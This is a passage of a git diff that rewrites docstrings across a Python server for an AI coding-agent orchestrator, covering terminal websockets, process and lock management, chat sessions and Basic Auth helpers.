str): """ - Get spec creation status by reading .spec_status.json from the project. - - This is used for polling to detect when Claude has finished writing spec files. - Claude writes this status file as the final step after completing all spec work. + Return the spec creation status for the given project by reading the project's prompts/.spec_status.json file. + + Parameters: + project_name (str): Project identifier; must pass project name validation. + + Returns: + SpecFileStatus: Object describing whether the status file exists, the spec generation status + ("complete", "in_progress", "not_started", or "error"), optional feature_count and timestamp, + and a list of files_written. + + Raises: + HTTPException: 400 if the project name is invalid. + HTTPException: 404 if the project is not found in the registry or the project directory is missing. + HTTPException: 500 if an unexpected error occurs while reading or parsing the status file. """ if not is_valid_project_name(project_name): raise HTTPException(status_code=400, detail="Invalid project name") @@ -372,4 +409,4 @@ async def spec_chat_websocket(websocket: WebSocket, project_name: str): finally: # Don't remove the session on disconnect - allow resume - pass + pass \ No newline at end of file diff --git a/server/routers/terminal.py b/server/routers/terminal.py index 2fdd489..60e2fca 100644 --- a/server/routers/terminal.py +++ b/server/routers/terminal.py @@ -51,7 +51,12 @@ class TerminalCloseCode: def _get_project_path(project_name: str) -> Path | None: - """Get project path from registry.""" + """ + Retrieve the filesystem path for the given project name from the project registry. + + Returns: + Path | None: Path to the project directory, or `None` if the project is not registered. + """ return registry_get_project_path(project_name) @@ -127,14 +132,18 @@ async def create_project_terminal( project_name: str, request: CreateTerminalRequest ) -> TerminalInfoResponse: """ - Create a new terminal for a project. - - Args: - project_name: Name of the project - request: Request body with optional terminal name - + Create a new terminal for the given project. + + Parameters: + project_name (str): Project identifier; must be a valid project name. + request (CreateTerminalRequest): Optional terminal creation fields (e.g., `name`). + + Raises: + HTTPException: 400 if the project name is invalid. + HTTPException: 404 if the project is not found. + Returns: - The created terminal info + TerminalInfoResponse: Metadata for the created terminal (`id`, `name`, `created_at`). """ if not is_valid_project_name(project_name): raise HTTPException(status_code=400, detail="Invalid project name") @@ -152,15 +161,19 @@ async def rename_project_terminal( project_name: str, terminal_id: str, request: RenameTerminalRequest ) -> TerminalInfoResponse: """ - Rename a terminal. - - Args: - project_name: Name of the project - terminal_id: ID of the terminal to rename - request: Request body with new name - + Rename an existing terminal within a project. + + Parameters: + project_name (str): Project identifier. + terminal_id (str): Terminal identifier to rename. + request (RenameTerminalRequest): Request containing the new terminal name. + Returns: - The updated terminal info + TerminalInfoResponse: Updated terminal information (`id`, `name`, `created_at`). + + Raises: + HTTPException: 400 if the project name or terminal ID are invalid. + HTTPException: 404 if the project is not found or the terminal does not exist / rename failed. """ if not is_valid_project_name(project_name): raise HTTPException(status_code=400, detail="Invalid project name") @@ -185,14 +198,19 @@ async def rename_project_terminal( @router.delete("/{project_name}/{terminal_id}") async def delete_project_terminal(project_name: str, terminal_id: str) -> dict: """ - Delete a terminal and stop its session. - - Args: - project_name: Name of the project - terminal_id: ID of the terminal to delete - + Delete a terminal and stop its active session for a project. + + Stops any running session for the specified terminal, removes its metadata, and returns a confirmation message. + + Parameters: + project_name (str): Project identifier. + terminal_id (str): Terminal identifier. + Returns: - Success message + dict: A confirmation object: {"message": "Terminal deleted"}. + + Raises: + HTTPException: 400 if the project name or terminal ID is invalid; 404 if the project or terminal is not found. """ if not is_valid_project_name(project_name): raise HTTPException(status_code=400, detail="Invalid project name") @@ -220,20 +238,25 @@ async def delete_project_terminal(project_name: str, terminal_id: str) -> dict: @router.websocket("/ws/{project_name}/{terminal_id}") async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_id: str) -> None: """ - WebSocket endpoint for interactive terminal I/O. - - Message protocol: - - Client -> Server: - - {"type": "input", "data": ""} - Keyboard input - - {"type": "resize", "cols": 80, "rows": 24} - Terminal resize - - {"type": "ping"} - Keep-alive ping - - Server -> Client: - - {"type": "output", "data": ""} - PTY output - - {"type": "exit", "code": 0} - Shell process exited - - {"type": "pong"} - Keep-alive response - - {"type": "error", "message": "..."} - Error message + Handle a WebSocket connection providing interactive PTY terminal I/O for a project terminal. + + Uses a simple JSON message protocol over the WebSocket. Client -> Server messages: + - {"type": "input", "data": ""}: keyboard input to the PTY. + - {"type": "resize", "cols": , "rows": }: request to resize the PTY. + - {"type": "ping"}: keep-alive ping. + + Server -> Client messages: + - {"type": "output", "data": ""}: binary output from the PTY (base64-encoded). + - {"type": "exit", "code": 0}: notification that the shell process exited. + - {"type": "pong"}: keep-alive response. + - {"type": "error", "message": "..."}: error description. + + Behavior notes: + - Validates project name and terminal ID and rejects unauthorized connections. + - Defers PTY creation until an initial resize is received to ensure correct dimensions. + - Enforces a 64KB limit on base64-encoded input to mitigate DoS. + - Streams PTY output to the client and notifies the client when the session exits. + - Cleans up callbacks and stops the session when the last client disconnects. """ # Check authentication if Basic Auth is enabled if not await reject_unauthenticated_websocket(websocket): @@ -468,4 +491,4 @@ async def monitor_exit_task() -> None: else: logger.info( f"Client disconnected from {project_name}/{terminal_id}, {remaining_callbacks} clients remaining" - ) + ) \ No newline at end of file diff --git a/server/schemas.py b/server/schemas.py index 04ec6f7..0044015 100644 --- a/server/schemas.py +++ b/server/schemas.py @@ -457,6 +457,18 @@ def validate_model(cls, v: str | None) -> str | None: @field_validator('testing_agent_ratio') @classmethod def validate_testing_ratio(cls, v: int | None) -> int | None: + """ + Validate that a testing agent ratio is within the allowed range 0–3. + + Parameters: + v (int | None): Proposed `testing_agent_ratio` value. + + Returns: + int | None: The original value when within range or `None`. + + Raises: + ValueError: If `v` is not `None` and is less than 0 or greater than 3. + """ if v is not None and (v < 0 or v > 3): raise ValueError("testing_agent_ratio must be between 0 and 3") return v @@ -464,6 +476,18 @@ def validate_testing_ratio(cls, v: int | None) -> int | None: @field_validator('preferred_ide') @classmethod def validate_preferred_ide(cls, v: str | None) -> str | None: + """ + Validate that the preferred IDE identifier is one of the allowed values. + + Parameters: + v (str | None): Preferred IDE identifier to validate; may be None to clear the setting. + + Returns: + str | None: The input `v` if it is None or a valid identifier. + + Raises: + ValueError: If `v` is not None and is not one of ['vscode', 'cursor', 'antigravity']. + """ valid_ides = ['vscode', 'cursor', 'antigravity'] if v is not None and v not in valid_ides: raise ValueError(f"Invalid IDE. Must be one of: {valid_ides}") @@ -622,4 +646,4 @@ class NextRunResponse(BaseModel): next_start: datetime | None # UTC next_end: datetime | None # UTC (latest end if overlapping) is_currently_running: bool - active_schedule_count: int + active_schedule_count: int \ No newline at end of file diff --git a/server/services/assistant_chat_session.py b/server/services/assistant_chat_session.py old mode 100755 new mode 100644 index a99eb75..495d058 --- a/server/services/assistant_chat_session.py +++ b/server/services/assistant_chat_session.py @@ -79,7 +79,18 @@ def get_system_prompt(project_name: str, project_dir: Path) -> str: - """Generate the system prompt for the assistant with project context.""" + """ + Builds the system prompt presented to the assistant, incorporating project context and available tools. + + Reads the project's prompts/app_spec.txt (if present) and embeds its content into the prompt; if the file is larger than 5000 characters it will be truncated with a "(truncated)" note. If reading the file fails, a warning is logged and a placeholder stating no app specification is used in the prompt. + + Parameters: + project_name (str): The human-readable name of the project to include in the prompt. + project_dir (Path): Path to the project root; used to locate prompts/app_spec.txt. + + Returns: + str: A formatted system prompt describing the assistant's role, available read-only code analysis tools and MCP feature-management tools, and the project specification content or a placeholder if none was found. + """ # Try to load app_spec.txt for context app_spec_content = "" app_spec_path = project_dir / "prompts" / "app_spec.txt" @@ -233,7 +244,11 @@ def __init__(self, project_name: str, project_dir: Path, conversation_id: Option self._history_loaded: bool = False # Track if we've loaded history for resumed conversations async def close(self) -> None: - """Clean up resources and close the Claude client.""" + """ + Close the Claude client and release associated resources for this session. + + Attempts to asynchronously exit the underlying client context and logs a warning if an error occurs. After completion, clears the client reference and resets the internal entered flag. + """ if self.client and self._client_entered: try: await self.client.__aexit__(None, None, None) @@ -245,14 +260,19 @@ async def close(self) -> None: async def start(self, skip_greeting: bool = False) -> AsyncGenerator[dict, None]: """ - Initialize session with the Claude client. - - Creates a new conversation if none exists, then sends an initial greeting. - For resumed conversations, skips the greeting since history is loaded from DB. - Yields message chunks as they stream in. - - Args: - skip_greeting: If True, skip sending the greeting (for resuming conversations) + Initialize and connect the assistant session with the Claude client and prepare conversation context. + + Creates a new conversation if none exists, writes assistant permission and MCP config files, starts the Claude client, and yields event dictionaries for conversation lifecycle and streamed assistant output. + + Parameters: + skip_greeting (bool): If True, request to skip sending the greeting. Note: greeting behavior is determined by whether this is a new conversation; the greeting is only sent for newly created conversations. + + Returns: + AsyncGenerator[dict, None]: Yields dict events such as: + - {"type": "conversation_created", "conversation_id": int} + - {"type": "text", "content": str} + - {"type": "response_done"} + - {"type": "error", "content": str} """ # Track if this is a new conversation (for greeting decision) is_new_conversation = self.conversation_id is None @@ -560,4 +580,4 @@ async def cleanup_all_sessions() -> None: try: await session.close() except Exception as e: - logger.warning(f"Error closing session {session.project_name}: {e}") + logger.warning(f"Error closing session {session.project_name}: {e}") \ No newline at end of file diff --git a/server/services/dev_server_manager.py b/server/services/dev_server_manager.py index 4681bbe..100e9c8 100644 --- a/server/services/dev_server_manager.py +++ b/server/services/dev_server_manager.py @@ -286,13 +286,12 @@ async def _stream_output(self) -> None: async def start(self, command: str) -> tuple[bool, str]: """ - Start the dev server as a subprocess. - - Args: - command: The shell command to run (e.g., "npm run dev") - + Start the project's dev server subprocess and begin streaming its output. + + Creates a lock file, records the start time, sets the manager status to "running", and launches the background output-streaming task. The shell used to run the command is chosen per platform (Windows: cmd, others: sh); stdout and stderr are merged and streamed to callbacks. + Returns: - Tuple of (success, message) + (success, message): `success` is `True` on successful start and `message` contains the started process PID; `success` is `False` and `message` describes the error otherwise. """ if self.status == "running": return False, "Dev server is already running" @@ -529,4 +528,4 @@ def cleanup_orphaned_devserver_locks() -> int: if cleaned: logger.info("Cleaned up %d orphaned dev server lock file(s)", cleaned) - return cleaned + return cleaned \ No newline at end of file diff --git a/server/services/expand_chat_session.py b/server/services/expand_chat_session.py index d47a11f..f80c198 100644 --- a/server/services/expand_chat_session.py +++ b/server/services/expand_chat_session.py @@ -46,7 +46,17 @@ async def _make_multimodal_message(content_blocks: list[dict]) -> AsyncGenerator[dict, None]: """ - Create an async generator that yields a properly formatted multimodal message. + Constructs a single multimodal user message as an async generator suitable for sending to the Claude client. + + Parameters: + content_blocks (list[dict]): A list of content block objects (e.g., text and image blocks) that make up the multimodal message payload. + + Returns: + AsyncGenerator[dict, None]: An async generator that yields one dictionary with the messaging envelope: + - `type`: "user" + - `message`: {"role": "user", "content": content_blocks} + - `parent_tool_use_id`: None + - `session_id`: "default" """ yield { "type": "user", @@ -83,11 +93,13 @@ class ExpandChatSession: def __init__(self, project_name: str, project_dir: Path): """ - Initialize the session. - - Args: - project_name: Name of the project being expanded - project_dir: Absolute path to the project directory + Create a new ExpandChatSession and initialize its internal state. + + Parameters: + project_name (str): The name of the project being expanded. + project_dir (Path): Absolute path to the project directory. + + The constructor initializes session fields used during an expansion conversation, including the Claude client placeholder, message history, completion flag and timestamp, conversation and client-entered state, counters and IDs for created features, temporary file path holders for security/settings and MCP config, and an asyncio lock to serialize queries. """ self.project_name = project_name self.project_dir = project_dir @@ -104,7 +116,11 @@ def __init__(self, project_name: str, project_dir: Path): self._query_lock = asyncio.Lock() async def close(self) -> None: - """Clean up resources and close the Claude client.""" + """ + Close the session and remove any temporary resources created for it. + + Performs a best-effort shutdown of the Claude client (if active) and removes temporary files created for the session, including the security settings file and the MCP config file. Errors during cleanup are logged but not raised. + """ if self.client and self._client_entered: try: await self.client.__aexit__(None, None, None) @@ -130,9 +146,12 @@ async def close(self) -> None: async def start(self) -> AsyncGenerator[dict, None]: """ - Initialize session and get initial greeting from Claude. - - Yields message chunks as they stream in. + Initialize an expansion session, prepare per-session security and MCP configuration, start the Claude client, and stream the initial response. + + This creates temporary per-session security settings and MCP config files, instantiates and enters a Claude SDK client configured for the project, sends the initial "Begin the project expansion process." prompt, and yields response chunks as they stream in. On success a final message with {"type": "response_done"} is yielded. On failure the generator yields error event dictionaries describing the problem (e.g., missing skill file, missing app_spec.txt, missing Claude CLI, or client initialization/connection failures). + + Returns: + AsyncGenerator[dict, None]: Generator that yields message dictionaries representing streamed text chunks, feature creation events, error events, and a final response_done marker. """ # Load the expand-project skill skill_path = ROOT_DIR / ".claude" / "commands" / "expand-project.md" @@ -314,9 +333,22 @@ async def _query_claude( attachments: list[ImageAttachment] | None = None ) -> AsyncGenerator[dict, None]: """ - Internal method to query Claude and stream responses. - - Handles text responses and detects feature creation blocks. + Stream Claude responses for a single query and detect feature-creation results from MCP tool outputs or inline XML blocks. + + Sends the provided message (and optional image attachments) to the Claude client, streams assistant text chunks as they arrive, logs them to the session history, and detects feature creation results via: + - MCP tool outputs (preferred): yields a `features_created` event with source `"mcp"` when a `feature_create_bulk` tool result is found and successfully parsed. + - XML fallback: parses `` JSON blocks from the accumulated response and, if any deduplicated features are found and created in the database, yields a `features_created` event with source `"xml_parsing"`. + If feature creation via the MCP tool succeeds, XML fallback parsing is skipped. + + Parameters: + message (str): The text message to send to Claude. May be empty when only attachments are provided. + attachments (list[ImageAttachment] | None): Optional list of image attachments; each attachment will be sent as a multimodal image block alongside the message. + + Returns: + AsyncGenerator[dict, None]: Yields event dictionaries during streaming. Known event shapes: + - {"type": "text", "content": ""}: assistant text fragments as they stream. + - {"type": "features_created", "count": , "features": , "source": "mcp"|"xml_parsing"}: one or more features created, with `source` indicating how they were discovered/created. + - {"type": "error", "content": ""}: emitted if feature creation via XML fallback fails. """ if not self.client: return @@ -471,17 +503,19 @@ async def _query_claude( async def _create_features_bulk(self, features: list[dict]) -> list[dict]: """ - Create features directly in the database. - - Args: - features: List of feature dictionaries with category, name, description, steps - + Persist multiple feature definitions into the project's database. + + Persists each input feature as a new Feature row, assigning sequential priority values starting one greater than the current maximum priority. Uses a flush to populate database-generated IDs before committing and rolls back then re-raises on error. + + Parameters: + features (list[dict]): Feature objects to create. Each dict may include keys: + - "category" (str): Feature category (defaults to "functional"). + - "name" (str): Feature name (defaults to "Unnamed feature"). + - "description" (str): Feature description. + - "steps" (list): Acceptance or implementation steps. + Returns: - List of created feature dictionaries with IDs - - Note: - Uses flush() to get IDs immediately without re-querying by priority range, - which could pick up rows from concurrent writers. + list[dict]: Created feature summaries containing "id", "name", and "category". """ # Import database classes import sys @@ -612,4 +646,4 @@ async def cleanup_all_expand_sessions() -> None: try: await session.close() except Exception as e: - logger.warning(f"Error closing expand session {session.project_name}: {e}") + logger.warning(f"Error closing expand session {session.project_name}: {e}") \ No newline at end of file diff --git a/server/services/process_manager.py b/server/services/process_manager.py index b49000a..8ecd0e1 100644 --- a/server/services/process_manager.py +++ b/server/services/process_manager.py @@ -223,20 +223,18 @@ def _create_lock(self) -> bool: return False def _remove_lock(self) -> None: - """Remove lock file.""" + """ + Remove the project's lock file if it exists. + + This performs a best-effort removal and does not validate lock ownership or contents; no error is raised if the lock file is already absent. + """ self.lock_file.unlink(missing_ok=True) def _ensure_lock_removed(self) -> None: """ - Ensure lock file is removed, with verification. - - This is a more robust version of _remove_lock that: - 1. Verifies the lock file content matches our process - 2. Removes the lock even if it's stale - 3. Handles edge cases like zombie processes - - Should be called from multiple cleanup points to ensure - the lock is removed even if the primary cleanup path fails. + Ensure the per-project lock file is removed if it is owned by this manager or is stale. + + Reads and verifies the lock file content (supports "PID" and "PID:CREATE_TIME" formats) and removes the file when it belongs to this process, when the referenced PID no longer exists, when the referenced PID is not the agent process, or when the lock file is invalid or unreadable. Logs actions taken. """ if not self.lock_file.exists(): return @@ -288,7 +286,14 @@ def _ensure_lock_removed(self) -> None: self.lock_file.unlink(missing_ok=True) async def _broadcast_output(self, line: str) -> None: - """Broadcast output line to all registered callbacks.""" + """ + Broadcast a single output line to all registered output callbacks. + + Each callback is awaited in turn; exceptions raised by callbacks are caught and do not stop delivery to remaining callbacks. + + Parameters: + line (str): The output line to deliver to each callback. + """ with self._callbacks_lock: callbacks = list(self._output_callbacks) @@ -359,17 +364,18 @@ async def start( testing_agent_ratio: int = 1, ) -> tuple[bool, str]: """ - Start the agent as a subprocess. - - Args: - yolo_mode: If True, run in YOLO mode (skip testing agents) - model: Model to use (e.g., claude-opus-4-5-20251101) - parallel_mode: DEPRECATED - ignored, always uses unified orchestrator - max_concurrency: Max concurrent coding agents (1-5, default 1) - testing_agent_ratio: Number of regression testing agents (0-3, default 1) - + Start the agent subprocess for this project and begin streaming its output. + + Parameters: + yolo_mode (bool): If True, run in YOLO mode (skip testing agents). + model (str | None): Optional model identifier to pass to the orchestrator (e.g., "claude-opus-4-5-20251101"). + parallel_mode (bool): Deprecated and ignored; the unified orchestrator is always used. + max_concurrency (int | None): Maximum concurrent coding agents (1-5). Defaults to 1 when None. + testing_agent_ratio (int): Number of regression testing agents to spawn (0-3, default 1). + Returns: - Tuple of (success, message) + tuple[bool, str]: `(True, "")` if the agent started successfully (message includes PID), + `(False, "")` otherwise. """ if self.status in ("running", "paused"): return False, f"Agent is already {self.status}" @@ -453,12 +459,12 @@ async def start( async def stop(self) -> tuple[bool, str]: """ - Stop the agent and all its child processes (SIGTERM then SIGKILL if needed). - - CRITICAL: Kills entire process tree to prevent orphaned coding/testing agents. - + Stop the agent subprocess and its entire child process tree. + + Ensures the output streaming task is cancelled, kills the process tree, removes the per-project lock robustly, and resets the manager's runtime state (status, process, start time and configuration flags). If the agent is already not running, attempts lock cleanup and returns a failure message. + Returns: - Tuple of (success, message) + (bool, str): `True` if the agent was stopped, `False` otherwise; second element is a human-readable message. """ if not self.process or self.status == "stopped": # Even if we think we're stopped, ensure lock is cleaned up @@ -505,10 +511,12 @@ async def stop(self) -> tuple[bool, str]: async def pause(self) -> tuple[bool, str]: """ - Pause the agent using psutil for cross-platform support. - + Pause the running agent process and update the manager's status. + + If the agent process no longer exists, mark the manager as crashed and ensure the project's lock file is removed. + Returns: - Tuple of (success, message) + tuple[bool, str]: First element is `True` on successful pause and `False` otherwise; second element is a human-readable message describing the outcome. """ if not self.process or self.status != "running": return False, "Agent is not running" @@ -528,10 +536,12 @@ async def pause(self) -> tuple[bool, str]: async def resume(self) -> tuple[bool, str]: """ - Resume a paused agent. - + Resume the manager's paused agent process. + + On success, sets the manager status to "running". If the agent process no longer exists, sets the manager status to "crashed" and attempts to remove the lock file. + Returns: - Tuple of (success, message) + tuple: `True` and a success message on success; `False` and an error message otherwise. """ if not self.process or self.status != "paused": return False, "Agent is not paused" @@ -713,4 +723,4 @@ def cleanup_orphaned_locks() -> int: if cleaned: logger.info("Cleaned up %d orphaned lock file(s)", cleaned) - return cleaned + return cleaned \ No newline at end of file diff --git a/server/services/spec_chat_session.py b/server/services/spec_chat_session.py index 1a42cdb..5e94daf 100644 --- a/server/services/spec_chat_session.py +++ b/server/services/spec_chat_session.py @@ -42,13 +42,15 @@ async def _make_multimodal_message(content_blocks: list[dict]) -> AsyncGenerator[dict, None]: """ - Create an async generator that yields a properly formatted multimodal message. - - The Claude Agent SDK's query() method accepts either: - - A string (simple text) - - An AsyncIterable[dict] (for custom message formats) - - This function wraps content blocks in the expected message format. + Wraps content blocks into a single multimodal user message generator. + + The yielded message dict follows the multimodal user-message structure expected by the Claude SDK: it places the provided content blocks under the message's content payload and includes session metadata. + + Parameters: + content_blocks (list[dict]): List of content-block dictionaries (e.g., text or image blocks) to include as the message content. + + Returns: + dict: A message dictionary formatted as a multimodal user message. """ yield { "type": "user", @@ -104,9 +106,16 @@ async def close(self) -> None: async def start(self) -> AsyncGenerator[dict, None]: """ - Initialize session and get initial greeting from Claude. - - Yields message chunks as they stream in. + Initialize the spec creation session and begin streaming Claude's initial messages. + + Sets up project files and Claude SDK client, then yields events produced while Claude sends the Phase 1 greeting. + + Returns: + dict: Streamed event dictionaries representing conversation updates and control signals. + Typical events include: + - An "error" event with an error message if initialization or conversation start fails. + - Partial assistant message chunks as they arrive. + - A "response_done" event when the initial response stream completes. """ # Load the create-spec skill skill_path = ROOT_DIR / ".claude" / "commands" / "create-spec.md" @@ -528,4 +537,4 @@ async def cleanup_all_sessions() -> None: try: await session.close() except Exception as e: - logger.warning(f"Error closing session {session.project_name}: {e}") + logger.warning(f"Error closing session {session.project_name}: {e}") \ No newline at end of file diff --git a/server/services/terminal_manager.py b/server/services/terminal_manager.py index e29dcbc..0fba02f 100644 --- a/server/services/terminal_manager.py +++ b/server/services/terminal_manager.py @@ -441,7 +441,11 @@ def resize(self, cols: int, rows: int) -> None: logger.warning(f"Failed to resize terminal: {e}") async def stop(self) -> None: - """Stop the terminal session and clean up resources.""" + """ + Stop the terminal session and release its resources. + + Cancels the background output reader task, invokes platform-specific shutdown and process cleanup, and marks the session inactive. Any errors encountered during shutdown are logged and suppressed. + """ if not self._is_active: return @@ -467,11 +471,10 @@ async def stop(self) -> None: logger.info(f"Terminal stopped for {self.project_name}") async def _stop_windows(self) -> None: - """Stop Windows PTY process and all child processes. - - We use a two-phase approach: - 1. psutil to gracefully terminate the process tree - 2. Windows taskkill /T /F as a fallback to catch any orphans + """ + Stop the Windows PTY process and its child processes for this session. + + Attempts to gracefully terminate the PTY's process tree (via psutil) and falls back to invoking Windows taskkill to clean up any remaining or orphaned processes. If no PTY process is present this is a no-op. Clears the internal PTY process reference on completion. """ if self._pty_process is None: return @@ -798,4 +801,4 @@ async def cleanup_all_terminals() -> None: with _metadata_lock: _terminal_metadata.clear() - logger.info("All terminal sessions cleaned up") + logger.info("All terminal sessions cleaned up") \ No newline at end of file diff --git a/server/utils/auth.py b/server/utils/auth.py index 67f5f58..c0aca39 100644 --- a/server/utils/auth.py +++ b/server/utils/auth.py @@ -28,14 +28,26 @@ def is_basic_auth_enabled() -> bool: - """Check if Basic Auth is enabled via environment variables.""" + """ + Determine whether HTTP Basic Authentication is configured via environment variables. + + Returns: + bool: `True` if both `BASIC_AUTH_USERNAME` and `BASIC_AUTH_PASSWORD` environment variables are set to non-empty values after stripping whitespace, `False` otherwise. + """ username = os.environ.get("BASIC_AUTH_USERNAME", "").strip() password = os.environ.get("BASIC_AUTH_PASSWORD", "").strip() return bool(username and password) def get_basic_auth_credentials() -> tuple[str, str]: - """Get configured Basic Auth credentials.""" + """ + Read the configured Basic Auth username and password from environment variables. + + Returns: + A tuple (username, password) where each value is the corresponding environment + variable trimmed of surrounding whitespace; if a variable is not set, its value + is an empty string. + """ username = os.environ.get("BASIC_AUTH_USERNAME", "").strip() password = os.environ.get("BASIC_AUTH_PASSWORD", "").strip() return username, password @@ -43,14 +55,12 @@ def get_basic_auth_credentials() -> tuple[str, str]: def verify_basic_auth(username: str, password: str) -> bool: """ - Verify Basic Auth credentials using constant-time comparison. - - Args: - username: Provided username - password: Provided password - + Validate provided Basic Auth credentials against the configured username and password. + + Comparison is performed in constant time to mitigate timing attacks. If no configured username or password is set, authentication is considered disabled and the function returns True. + Returns: - True if credentials match configured values, False otherwise. + True if both the provided username and password match the configured credentials, False otherwise. """ expected_user, expected_pass = get_basic_auth_credentials() if not expected_user or not expected_pass: @@ -63,17 +73,15 @@ def verify_basic_auth(username: str, password: str) -> bool: def check_websocket_auth(websocket: WebSocket) -> bool: """ - Check WebSocket authentication using Basic Auth credentials. - - For WebSockets, auth can be passed via: - 1. Authorization header (for clients that support it) - 2. Query parameter ?token=base64(user:pass) (for browser WebSockets) - - Args: - websocket: The WebSocket connection to check - + Validate a WebSocket connection against configured HTTP Basic credentials. + + If no Basic Auth credentials are configured, the connection is allowed. Authentication is accepted either via an Authorization header of the form "Basic " or via a query parameter "token" containing base64("user:pass"). + + Parameters: + websocket: WebSocket-like object with `headers` and `query_params` mappings used to read the Authorization header and the `token` query parameter. + Returns: - True if auth is valid or not required, False otherwise. + `True` if authentication succeeds or is not required, `False` otherwise. """ # If Basic Auth not configured, allow all connections if not is_basic_auth_enabled(): @@ -108,15 +116,15 @@ def check_websocket_auth(websocket: WebSocket) -> bool: async def reject_unauthenticated_websocket(websocket: WebSocket) -> bool: """ - Check WebSocket auth and close connection if unauthorized. - - Args: - websocket: The WebSocket connection - + Validate a WebSocket's Basic Authentication and close the connection if authentication fails. + + Parameters: + websocket (WebSocket): The WebSocket connection to validate; will be closed with code 4001 and reason "Authentication required" if authentication fails. + Returns: - True if connection should proceed, False if it was closed due to auth failure. + bool: `True` if the connection is authenticated and may proceed, `False` if the connection was closed due to failed authentication. """ if not check_websocket_auth(websocket): await websocket.close(code=4001, reason="Authentication required") return False - return True + return True \ No newline at end of file diff --git a/server/utils/process_utils.py b/server/utils/process_utils.py index 57abcd2..ff65bdb 100644 --- a/server/utils/process_utils.py +++ b/server/utils/process_utils.py @@ -42,17 +42,16 @@ class KillResult: def _kill_windows_process_tree_taskkill(pid: int) -> bool: - """Use Windows taskkill command to forcefully kill a process tree. - - This is a fallback method that uses the Windows taskkill command with /T (tree) - and /F (force) flags, which is more reliable for killing nested cmd/bash/node - process trees on Windows. - - Args: - pid: Process ID to kill along with its entire tree - + """ + Attempt to kill a process and its descendant processes on Windows using the `taskkill` utility. + + This acts as a Windows-specific fallback that invokes `taskkill` with tree and force flags to remove nested process trees. + + Parameters: + pid (int): PID of the process whose process tree should be terminated. + Returns: - True if taskkill succeeded, False otherwise + bool: `True` if the `taskkill` command exited with code 0, `False` otherwise. """ if not IS_WINDOWS: return False @@ -71,18 +70,17 @@ def _kill_windows_process_tree_taskkill(pid: int) -> bool: def kill_process_tree(proc: subprocess.Popen, timeout: float = 5.0) -> KillResult: - """Kill a process and all its child processes. - - On Windows, subprocess.terminate() only kills the immediate process, leaving - orphaned child processes (e.g., spawned browser instances, coding/testing agents). - This function uses psutil to kill the entire process tree. - - Args: - proc: The subprocess.Popen object to kill - timeout: Seconds to wait for graceful termination before force-killing - + """ + Kill the given process and its descendant processes. + + Parameters: + proc (subprocess.Popen): The subprocess to terminate. + timeout (float): Seconds to wait for graceful termination before force-killing. + Returns: - KillResult with status and statistics about the termination + KillResult: Outcome of the operation containing `status` ("success", "partial", or "failure"), + `parent_pid`, and counts for `children_found`, `children_terminated`, `children_killed`, + and `parent_forcekilled`. """ result = KillResult(status="success", parent_pid=proc.pid) @@ -182,14 +180,13 @@ def kill_process_tree(proc: subprocess.Popen, timeout: float = 5.0) -> KillResul def cleanup_orphaned_agent_processes() -> int: - """Clean up orphaned agent processes from previous runs. - - On Windows, agent subprocesses (bash, cmd, node, conhost) may remain orphaned - if the server was killed abruptly. This function finds and terminates processes - that look like orphaned autocoder agents based on command line patterns. - + """ + Terminate orphaned agent subprocesses on Windows that match known agent command-line patterns. + + This function scans running processes for command lines containing known agent identifiers and forcefully terminates matching process trees on Windows. On non-Windows platforms it performs no action. + Returns: - Number of processes terminated + int: Number of processes terminated """ if not IS_WINDOWS: return 0 @@ -224,4 +221,4 @@ def cleanup_orphaned_agent_processes() -> int: if terminated > 0: logger.info("Cleaned up %d orphaned agent processes", terminated) - return terminated + return terminated \ No newline at end of file diff --git a/server/utils/validation.py b/server/utils/validation.py index 33be91a..f23cc47 100644 --- a/server/utils/validation.py +++ b/server/utils/validation.py @@ -12,33 +12,32 @@ def is_valid_project_name(name: str) -> bool: """ - Check if project name is valid. - - Args: - name: Project name to validate - + Determine whether a project name matches the allowed pattern. + + Project names must be 1–50 characters long and may contain letters, digits, underscores, or hyphens. + + Parameters: + name: The project name to validate. + Returns: - True if valid, False otherwise + True if the name matches the allowed pattern, False otherwise. """ return bool(PROJECT_NAME_PATTERN.match(name)) def validate_project_name(name: str) -> str: """ - Validate and sanitize project name to prevent path traversal. - - Args: - name: Project name to validate - + Validate a project name against the allowed pattern and return it if valid. + Returns: - The validated project name - + The validated project name. + Raises: - HTTPException: If name is invalid + HTTPException: If `name` does not match the allowed pattern (letters, numbers, hyphens, and underscores; 1-50 characters). """ if not is_valid_project_name(name): raise HTTPException( status_code=400, detail="Invalid project name. Use only letters, numbers, hyphens, and underscores (1-50 chars)." ) - return name + return name \ No newline at end of file diff --git a/server/websocket.py b/server/websocket.py index 821bb9a..3e9993b 100644 --- a/server/websocket.py +++ b/server/websocket.py @@ -90,6 +90,16 @@ class AgentTracker: def __init__(self): # (feature_id, agent_type) -> {name, state, last_thought, agent_index, agent_type, last_activity} + """ + Initialize the AgentTracker's internal state and concurrency primitives. + + Creates: + - active_agents: mapping from (feature_id, agent_type) to agent metadata dict with keys + `name`, `state`, `last_thought`, `agent_index`, `agent_type`, and `last_activity`. + - _next_agent_index: counter used to assign incremental agent indices. + - _lock: asyncio.Lock protecting concurrent access to tracker state. + - _last_cleanup: timestamp of the last TTL cleanup run. + """ self.active_agents: dict[tuple[int, str], dict] = {} self._next_agent_index = 0 self._lock = asyncio.Lock() @@ -97,9 +107,19 @@ def __init__(self): async def process_line(self, line: str) -> dict | None: """ - Process an output line and return an agent_update message if relevant. - - Returns None if no update should be emitted. + Parse an agent or orchestrator output line and produce an agent_update payload when the line indicates a change in agent lifecycle, state, or thought. + + Returns: + dict | None: An agent_update dictionary when an update should be emitted, otherwise `None`. When returned, the dictionary contains: + - type (str): fixed value "agent_update". + - agentIndex (int): numeric index assigned to the agent. + - agentName (str): display name (mascot) for the agent. + - agentType (str): "coding" or "testing". + - featureId (int): feature identifier parsed from the line. + - featureName (str): human-readable feature name, e.g., "Feature #3". + - state (str): agent state (e.g., "thinking", "working", "completed", "failed"). + - thought (str | None): brief extracted thought or message excerpt when available. + - timestamp (str): ISO 8601 timestamp of the update. """ # Check for orchestrator status messages first # These don't have [Feature #X] prefix @@ -212,16 +232,17 @@ async def process_line(self, line: str) -> dict | None: return None async def get_agent_info(self, feature_id: int, agent_type: str = "coding") -> tuple[int | None, str | None]: - """Get agent index and name for a feature ID and agent type. - - Thread-safe method that acquires the lock before reading state. - - Args: - feature_id: The feature ID to look up. - agent_type: The agent type ("coding" or "testing"). Defaults to "coding". - + """ + Return the tracked agent's index and display name for a given feature and agent type. + + This method acquires the tracker's lock before reading state. + + Parameters: + feature_id (int): Feature identifier to query. + 